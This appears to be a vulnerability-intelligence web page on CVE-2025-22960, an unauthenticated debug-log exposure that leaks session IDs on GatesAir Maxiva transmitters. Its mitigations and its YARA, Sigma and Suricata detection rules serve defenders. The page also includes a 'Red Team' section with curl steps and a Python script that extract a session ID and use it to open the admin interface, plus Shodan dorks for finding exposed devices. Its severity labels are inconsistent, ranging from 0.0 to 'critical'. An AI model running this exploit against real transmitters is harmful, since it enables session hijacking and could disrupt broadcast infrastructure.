☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-200
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22960

CVE-2025-22960 Unauthorized Access in Gatesair
📅 PUBLISHED: 2025-02-13 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22960 is a critical session hijacking vulnerability affecting GatesAir Maxiva UAXT and VAXT transmitters. The flaw resides in the web-based management interface, where unauthenticated attackers can access exposed log files at /logs/debug/xteLog*. These logs contain sensitive session-related information, including session IDs (sess_id) and authentication success tokens (user_check_password OK). Exploitation allows attackers to hijack active sessions, gain unauthorized access, and potentially escalate privileges on the device. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as high severity due to the ease of exploitation and potential impact on critical broadcast infrastructure. No official patch or vendor advisory has been released at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Base Score: 7.5 (High)
Temporal Score: 7.5 (High) – No patch or workaround widely available.

Metric Value Description
Attack Vector (AV) Network Exploitable remotely over the network.
Attack Complexity (AC) Low No special conditions required; log files are directly accessible.
Privileges Required (PR) None No authentication needed to access logs.
User Interaction (UI) None No user action required for exploitation.
Scope (S) Unchanged Exploitation does not affect other components.
Confidentiality (C) High Session IDs and tokens are exposed, leading to session hijacking.
Integrity (I) None No direct data modification.
Availability (A) None No direct denial of service.

Threat Level: Critical for broadcast infrastructure. Unauthenticated access to session data can lead to full device compromise.

Deep Dive & Mechanics

The vulnerability is a classic case of sensitive information exposure (CWE-200). The GatesAir Maxiva transmitters expose debug log files via the web interface without authentication. The logs are stored at /logs/debug/xteLog* and contain plaintext session identifiers and authentication success messages.

Attack Flow:

  1. An attacker sends an HTTP GET request to http://<target>/logs/debug/xteLog*.
  2. The server returns log files containing sess_id values and user_check_password OK tokens.
  3. The attacker extracts a valid session ID from the logs.
  4. The attacker uses the session ID to impersonate an authenticated user, gaining access to the management interface.
  5. With administrative access, the attacker can modify transmitter settings, disrupt broadcasts, or pivot to internal networks.

Root Cause: Lack of access control on the /logs/debug/ directory. The web server serves these files without requiring authentication.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):
The web server configuration likely allows directory listing or direct file access without authentication checks.

# Example vulnerable Apache config (if applicable)
<Directory "/var/log/gatesair">
    Options +Indexes
    AllowOverride None
    Require all granted
</Directory>

Patched Code (Conceptual):
A patch would restrict access to the log directory, requiring authentication or disabling directory listing.

# Patched configuration
<Directory "/var/log/gatesair">
    Options -Indexes
    AllowOverride None
    Require valid-user
</Directory>

Note: No official patch is available. The above is a recommended mitigation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target GatesAir Maxiva transmitter with web interface exposed.
  • Network access to the device.

Exploitation Steps:

  1. Enumerate log files:
    curl -s http://<target>/logs/debug/ | grep -oP 'xteLog[^"]*'
    
  2. Download a log file:
    curl -s http://<target>/logs/debug/xteLog.1 > log.txt
    
  3. Extract session IDs:
    grep -oP 'sess_id=[a-f0-9]+' log.txt | head -1
    
  4. Hijack session:
    curl -s -b "session_id=<extracted_sess_id>" http://<target>/admin/
    

Automated Exploit (Python):

import requests
import re

target = "http://<target>"
log_url = f"{target}/logs/debug/xteLog.1"
try:
    r = requests.get(log_url, timeout=10)
    if r.status_code == 200:
        sess_ids = re.findall(r'sess_id=([a-f0-9]+)', r.text)
        if sess_ids:
            print(f"Found session ID: {sess_ids[0]}")
            # Use session ID to access admin
            cookies = {"session_id": sess_ids[0]}
            admin_r = requests.get(f"{target}/admin/", cookies=cookies)
            print(admin_r.text)
except Exception as e:
    print(f"Error: {e}")

Blue Team (Defensive)

Detection:

  • Monitor for requests to /logs/debug/ paths.
  • Alert on multiple failed login attempts followed by session reuse.

Honeypot:

  • Deploy a fake log file with decoy session IDs to trap attackers.

Mitigation:

  • Immediately restrict access to /logs/debug/ via firewall or web server ACL.
  • Disable directory listing and require authentication for log access.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP GET requests to /logs/debug/xteLog* from external IPs.
  • Unusual session reuse patterns (same session ID from different IPs).

File IOCs:

  • Log files containing sess_id and user_check_password OK strings.
  • Unauthorized access to /logs/debug/ directory.

System IOCs:

  • Unexpected configuration changes on the transmitter.
  • New user accounts or privilege escalations.

Detection Engineering

YARA Rule

rule CVE_2025_22960_Session_Hijacking {
    meta:
        description = "Detects log files containing session IDs from GatesAir Maxiva transmitters"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22960"
    strings:
        $sess_id = /sess_id=[a-f0-9]{32}/
        $auth_ok = "user_check_password OK"
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-22960 - GatesAir Maxiva Session Hijacking via Log Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects access to exposed debug log files on GatesAir Maxiva transmitters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/logs/debug/xteLog'
    condition: selection
falsepositives:
    - Legitimate administrative access (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22960 - GatesAir Maxiva Log Exposure"; flow:to_server; content:"GET"; http_method; content:"/logs/debug/xteLog"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict network access: Use firewall rules to block external access to the web management interface (port 80/443) unless absolutely necessary.
  2. Disable directory listing: Ensure the web server does not list the /logs/debug/ directory.
  3. Implement authentication: Require valid credentials for accessing any log files.
  4. Rotate session IDs: Force all active sessions to be invalidated after applying access controls.

Long-term Fix:

  • Vendor must release a firmware update that implements proper access controls on the /logs/debug/ endpoint.
  • Until then, consider placing the device behind a VPN or bastion host.

Workaround:

  • Move log files to a non-web-accessible location or encrypt them.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

GatesAir Maxiva
xteLog
GatesAir transmitter

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22960/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.